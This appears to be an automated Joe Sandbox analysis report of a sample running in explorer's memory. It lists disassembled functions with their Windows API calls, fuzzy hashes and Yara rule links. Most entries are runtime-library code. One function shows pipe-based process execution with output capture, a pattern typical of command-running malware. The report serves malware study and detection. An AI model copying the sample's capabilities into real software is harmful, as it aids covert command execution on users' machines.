Opcode Fuzzy Hash: 9e7233d460e42581b1913242d7ee62964e8c6687cad7d479f55e48e80ed49a94
Instruction Fuzzy Hash: 52F0F6366013445FEB245F79AC85A7A7B95FFC1368F09862DF9054B680C779AC02D750

Function 00797F0C Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00792100: EnterCriticalSection.KERNEL32(-00047B11,?,00793427,00000000,007C3028,0000000C,007933EE,?,?,0079A24D,?,?,007969C2,00000001,00000364,00000006), ref: 0079210F

EnumSystemLocalesW.KERNEL32(00797EFF,00000001,007C3248,0000000C,0079832A,00000000), ref: 00797F44

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 036fee09e35bbc7f9b2330aef8f600e0c621df3e584108127050d075fc873e12
Instruction ID: f845e6d682d776458ba12876633cde9dbe3b13f2b5a28c97d7d3f384da1b07f0
Opcode Fuzzy Hash: 036fee09e35bbc7f9b2330aef8f600e0c621df3e584108127050d075fc873e12
Instruction Fuzzy Hash: 44F0F972A54218EFDB04EF98E846F9D77F0EB48721F10815AF410AB2A1DBBD5941CF46

Function 007A1E6A Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00796820: GetLastError.KERNEL32(00000000,00000000,?,00797607,?,00000000,00000000,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010), ref: 00796825
Part of subcall function 00796820: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010,00790B22,00000000,00000000,00000000), ref: 007968C3

EnumSystemLocalesW.KERNEL32(007A1DC3,00000001,FFFFFFFF,?,?,007A262B,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 007A1EA1

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d97dd638c6f6aef1c5709c60a8650be22d8114d50400c04d0d9449984d7b3744
Instruction ID: 9164ca26813770768bee8518fa2e1670b867779ffc1955e04f77ba3f8cce217f
Opcode Fuzzy Hash: d97dd638c6f6aef1c5709c60a8650be22d8114d50400c04d0d9449984d7b3744
Instruction Fuzzy Hash: 71F0AB3A30020857DB049F39E809B6B7F94EFC27A1F464158EE058B240C679D842C7D0

Function 0079842E Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00795784,?,20001004,00000000,00000002,?,?,00794D91), ref: 00798462

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 0ad47061207436b01a9737c2898f032f3a056584f49b922a282827cc2e8bb19c
Instruction ID: 25b9836f6b47df695f4ee15f7b43af02ec14f4f5e1c66176c641b49af982d793
Opcode Fuzzy Hash: 0ad47061207436b01a9737c2898f032f3a056584f49b922a282827cc2e8bb19c
Instruction Fuzzy Hash: 5DE04F3254021CBBCF122F64EC08EAE7F15EF45761F008510FD0566261CF398920AAE6

Function 007D80EA Relevance: 1.4, Strings: 1, Instructions: 151COMMON

Download Yara Rule

Strings

z, xrefs: 007D813F

Memory Dump Source

Source File: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID: z
API String ID: 0-1657960367
Opcode ID: 4c083d682b8d6a821b7a272f76fb90df478801e172e5b40452a19925f7606558
Instruction ID: 586fd52a5f2336967c3a6d0fe10d5b45d4834231e0d9b6966418821e008dc927
Opcode Fuzzy Hash: 4c083d682b8d6a821b7a272f76fb90df478801e172e5b40452a19925f7606558
Instruction Fuzzy Hash: F051E670B01729DBDF94AFE48CD86AEB6B5AF48300F1005AEE509D7311DE789D498B81

Function 00765450 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c248ef47a0ae500ba22a05f4c36954a30670ec2be6e79b0cc36b296fff902298
Instruction ID: cb89fb46aaebc4cfbacebbebeb476058102050ed6e1ce1a54bb97a3f3600a3c7
Opcode Fuzzy Hash: c248ef47a0ae500ba22a05f4c36954a30670ec2be6e79b0cc36b296fff902298
Instruction Fuzzy Hash: 68224FB3F515145BDB0CCA5DDCA27EDB3E3AFD8218B0E803DA40AE3345EA79D9158648

Function 0079CC09 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebc160c4fe94ffb9e23890b96cafdd61019fb64869369ba1857a6f8c83f4dfcf
Instruction ID: 5f8d11a978df18178cc9efc17417896da4dc877c2b344046ebec38fe7ca9a198
Opcode Fuzzy Hash: ebc160c4fe94ffb9e23890b96cafdd61019fb64869369ba1857a6f8c83f4dfcf
Instruction Fuzzy Hash: A6321662D29F414DDB339638E832336A648AFB73C5F15D727F819B59A6EB2CC8834101

Function 007A1679 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ErrorLastProcess_free$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 4283097504-0
Opcode ID: f304543061a74a604e2e7f5a8fa2c2c52bbe04bf861166e073d64f28799fdfd5
Instruction ID: 61537830ad3103184e61870dbd480e418f7ab9d1d076d35e7d222c3da186314b
Opcode Fuzzy Hash: f304543061a74a604e2e7f5a8fa2c2c52bbe04bf861166e073d64f28799fdfd5
Instruction Fuzzy Hash: E2B1FA755007458BEB389F24CC96AB7B3E9EF86304F94462DE983C6580EA7DF985C710

Function 0078F3EB Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54fe28e80fb72b583481cea6b7f81cf34f8de984378f0d41b8157c74fa951865
Instruction ID: 1a3558871a915df1527fc5452ae4e15f11f3b05e21613ff64021842745878cf0
Opcode Fuzzy Hash: 54fe28e80fb72b583481cea6b7f81cf34f8de984378f0d41b8157c74fa951865
Instruction Fuzzy Hash: 8C51AB716C06C897DF38BE2C8499BBF679A9F12304F64403FE44AD7292D61DDD4A8362

Function 007A5B96 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0db64de4106bfa3d32beaccf9859501c64a730206fbe7bfabf6dead1b9e96004
Instruction ID: 43805f5d991cb834cac70762ab11cfc0e0ce384b40bb5eec7ed1c7affe508ff9
Opcode Fuzzy Hash: 0db64de4106bfa3d32beaccf9859501c64a730206fbe7bfabf6dead1b9e96004
Instruction Fuzzy Hash: 5121B673F209394B770CC47E8C5627DB6E1C68C511745823EE8A6EA2C1D96CD917E2E4

Function 007A5A76 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9302e13d906365bb2a3d3a17de13bc564f27e69ebc70b68780de2410028c5a91
Instruction ID: 952f945c7ad4b2241be7ac682878425ff5e40be0d02a8491e73ad2884437073d
Opcode Fuzzy Hash: 9302e13d906365bb2a3d3a17de13bc564f27e69ebc70b68780de2410028c5a91
Instruction Fuzzy Hash: 8C118A23F30C355B675C816D8C1727A95D2DBD825075F533ED827E7284E9A4DE13D290

Function 0078B4B0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: c5a75eff3c480d017f2f6df32499307c079876ef148d61832a8fea3eff909151
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 4B113DB72C048243D614E63DD4F46B7A795EBC5321B3C437AD0468B759E32AE9659B00

Function 00792473 Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007924E2
_free.LIBCMT ref: 007924F8
_free.LIBCMT ref: 0079250B
_free.LIBCMT ref: 00792520
_free.LIBCMT ref: 00792535
GetCPInfo.KERNEL32(?,?), ref: 0079257F

Part of subcall function 0079BC0D: _free.LIBCMT ref: 0079BC78

_free.LIBCMT ref: 007927EA
_free.LIBCMT ref: 007927FD
_free.LIBCMT ref: 0079280B
_free.LIBCMT ref: 00792816
_free.LIBCMT ref: 00792858
_free.LIBCMT ref: 00792860
_free.LIBCMT ref: 00792866
_free.LIBCMT ref: 0079286E
_free.LIBCMT ref: 0079287C

Strings

.{, xrefs: 007928B1
`-{, xrefs: 007928A7

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free$Info
String ID: `-{$.{
API String ID: 2509303402-1149821797
Opcode ID: 2a61fbc7daf029e06c7ddb84f52f7adbdc2fabee0b01128fe6e99c74622d5d60
Instruction ID: 375856a04aa928c149ede3e5d5e18237455f0c22c33ba052f2dd38148a98629a
Opcode Fuzzy Hash: 2a61fbc7daf029e06c7ddb84f52f7adbdc2fabee0b01128fe6e99c74622d5d60
Instruction Fuzzy Hash: AFD17C71D00205EFDF21DFA8D885BEABBB5BF09300F144169E595B7282DB79A846CB60

Function 00768280 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 257pipeprocessfileCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000080,?), ref: 0076832D
CreatePipe.KERNEL32(00000000,00000000,0000000C,00000000), ref: 00768403
SetHandleInformation.KERNEL32(00000000,00000001,00000000), ref: 00768415
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00768459
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00000044,?), ref: 00768481
Wow64RevertWow64FsRedirection.KERNEL32(00000000), ref: 0076848F
WaitForSingleObject.KERNEL32(?,00000064), ref: 007684B8
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 007684DA
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 007684FE
ReadFile.KERNEL32(00000000,?,0000007F,00000000,00000000), ref: 00768525
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0076856A
CloseHandle.KERNEL32(?), ref: 00768581
CloseHandle.KERNEL32(?), ref: 00768589
CloseHandle.KERNEL32(00000000), ref: 00768591
CloseHandle.KERNEL32(00000000), ref: 00768599
GetLastError.KERNEL32 ref: 007685A3

Strings

D, xrefs: 007683BC

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: Handle$ClosePipeWow64$NamedPeek$CreateRedirection$DisableErrorFileInformationLastObjectPathProcessReadRevertSingleTempWait
String ID: D
API String ID: 3215130363-2746444292
Opcode ID: cf9395ec9d3c28d7a2a2045da656955b914da00bfe581b8e19f8a0380eebfbdd
Instruction ID: dc91b341a1afb53071715daaa6d4a2eedf6e5d1adc3572104c9c187daacf2607
Opcode Fuzzy Hash: cf9395ec9d3c28d7a2a2045da656955b914da00bfe581b8e19f8a0380eebfbdd
Instruction Fuzzy Hash: 51A19171940218ABEF60DF64CC49FDDBB78AF04700F1042D5EA09B6191DB79AE84CF95

Function 0079FB31 Relevance: 25.9, APIs: 17, Instructions: 411COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0079FB5B
_free.LIBCMT ref: 0079FC34
_free.LIBCMT ref: 0079FC61

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 2844f9588aaf9ace0a66b236c9d6b404834de7c8389b64f62ca9d43b1c57f9fb
Instruction ID: 15ddc22b87fd94f6eb9946096bb27c08003eeecb7f6bb962a5f92b0e8e542e86
Opcode Fuzzy Hash: 2844f9588aaf9ace0a66b236c9d6b404834de7c8389b64f62ca9d43b1c57f9fb
Instruction Fuzzy Hash: 34D1D3B1A04305EFDF25AFB4A895A6E77B4AF06310F14817DF911E7292EB3D8900C7A1

Function 007A05A7 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 373COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007A05EF
_free.LIBCMT ref: 007A0613
_free.LIBCMT ref: 007A0620
_free.LIBCMT ref: 007A0645
_free.LIBCMT ref: 007A0652
_free.LIBCMT ref: 007A065B
_free.LIBCMT ref: 007A0935
_free.LIBCMT ref: 007A093D

Strings

@R|, xrefs: 007A08BA
@R|, xrefs: 007A05D5

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free
String ID: @R|$@R|
API String ID: 269201875-720877917
Opcode ID: 4b13aa1cf16fd5a58057640777705f4e7ec6199363f98cc42f1c6f2a94957477
Instruction ID: 4d835c5ff72c28c577048bf8a70652ee6c71f412898df85a4ad60832a2f262fa
Opcode Fuzzy Hash: 4b13aa1cf16fd5a58057640777705f4e7ec6199363f98cc42f1c6f2a94957477
Instruction Fuzzy Hash: 1BC145B2D40204EFDF20DBA8DD46FEE77F8AB49700F144565FA05FB282D6749A409BA0

Function 007A11AF Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 007A11E8

Part of subcall function 00797C06: HeapFree.KERNEL32(00000000,00000000,?,007A0BFE,?,00000000,?,8B18EC83,?,007A0EA1,?,00000007,?,?,007A1346,?), ref: 00797C1C
Part of subcall function 00797C06: GetLastError.KERNEL32(?,?,007A0BFE,?,00000000,?,8B18EC83,?,007A0EA1,?,00000007,?,?,007A1346,?,?), ref: 00797C2E

Part of subcall function 007A04A9: _free.LIBCMT ref: 007A04C6
Part of subcall function 007A04A9: _free.LIBCMT ref: 007A04D8
Part of subcall function 007A04A9: _free.LIBCMT ref: 007A04EA
Part of subcall function 007A04A9: _free.LIBCMT ref: 007A04FC
Part of subcall function 007A04A9: _free.LIBCMT ref: 007A050E
Part of subcall function 007A04A9: _free.LIBCMT ref: 007A0520
Part of subcall function 007A04A9: _free.LIBCMT ref: 007A0532
Part of subcall function 007A04A9: _free.LIBCMT ref: 007A0544
Part of subcall function 007A04A9: _free.LIBCMT ref: 007A0556
Part of subcall function 007A04A9: _free.LIBCMT ref: 007A0568
Part of subcall function 007A04A9: _free.LIBCMT ref: 007A057A
Part of subcall function 007A04A9: _free.LIBCMT ref: 007A058C
Part of subcall function 007A04A9: _free.LIBCMT ref: 007A059E

_free.LIBCMT ref: 007A120A
_free.LIBCMT ref: 007A121F
_free.LIBCMT ref: 007A122A
_free.LIBCMT ref: 007A124C
_free.LIBCMT ref: 007A125F
_free.LIBCMT ref: 007A126D
_free.LIBCMT ref: 007A1278
_free.LIBCMT ref: 007A12B0
_free.LIBCMT ref: 007A12B7
_free.LIBCMT ref: 007A12D4
_free.LIBCMT ref: 007A12EC

Strings

@R|, xrefs: 007A11C5

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: @R|
API String ID: 776569668-1592088083
Opcode ID: cae3762d5b917524082f8b16828fc63323814f5b96e1f87dbb407f3574af343c
Instruction ID: aa76b094f50bbe4c4781264271b5907eae66d00c3398b96521d59115380adc24
Opcode Fuzzy Hash: cae3762d5b917524082f8b16828fc63323814f5b96e1f87dbb407f3574af343c
Instruction Fuzzy Hash: E5315A72604201DFEF35AE79E909F5A73E8BF82351F544A29F449E6191DA38EC80CB60

Function 007A04A9 Relevance: 19.6, APIs: 13, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 007A04C6

Part of subcall function 00797C06: HeapFree.KERNEL32(00000000,00000000,?,007A0BFE,?,00000000,?,8B18EC83,?,007A0EA1,?,00000007,?,?,007A1346,?), ref: 00797C1C
Part of subcall function 00797C06: GetLastError.KERNEL32(?,?,007A0BFE,?,00000000,?,8B18EC83,?,007A0EA1,?,00000007,?,?,007A1346,?,?), ref: 00797C2E

_free.LIBCMT ref: 007A04D8
_free.LIBCMT ref: 007A04EA
_free.LIBCMT ref: 007A04FC
_free.LIBCMT ref: 007A050E
_free.LIBCMT ref: 007A0520
_free.LIBCMT ref: 007A0532
_free.LIBCMT ref: 007A0544
_free.LIBCMT ref: 007A0556
_free.LIBCMT ref: 007A0568
_free.LIBCMT ref: 007A057A
_free.LIBCMT ref: 007A058C
_free.LIBCMT ref: 007A059E

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5352c5dc4a539f0b6b855e01d56ae6b2a95a4ef1b63a491925518ace6e31a6d0
Instruction ID: a78ad9e072e486bb9191c5821c38df61e442ddebad6cedaf1ec6c58b3a2a3e01
Opcode Fuzzy Hash: 5352c5dc4a539f0b6b855e01d56ae6b2a95a4ef1b63a491925518ace6e31a6d0
Instruction Fuzzy Hash: 3021C0B2518A00EBCA39EF68F589C1A73F9BB463117644D09F045E7651CB3DFCD08AA4

Function 0078CA12 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0078CB0F
type_info::operator==.LIBVCRUNTIME ref: 0078CB31
___TypeMatch.LIBVCRUNTIME ref: 0078CC40
CatchIt.LIBVCRUNTIME ref: 0078CC91
IsInExceptionSpec.LIBVCRUNTIME ref: 0078CD12
_UnwindNestedFrames.LIBCMT ref: 0078CD96
CallUnexpected.LIBVCRUNTIME ref: 0078CDB1

Strings

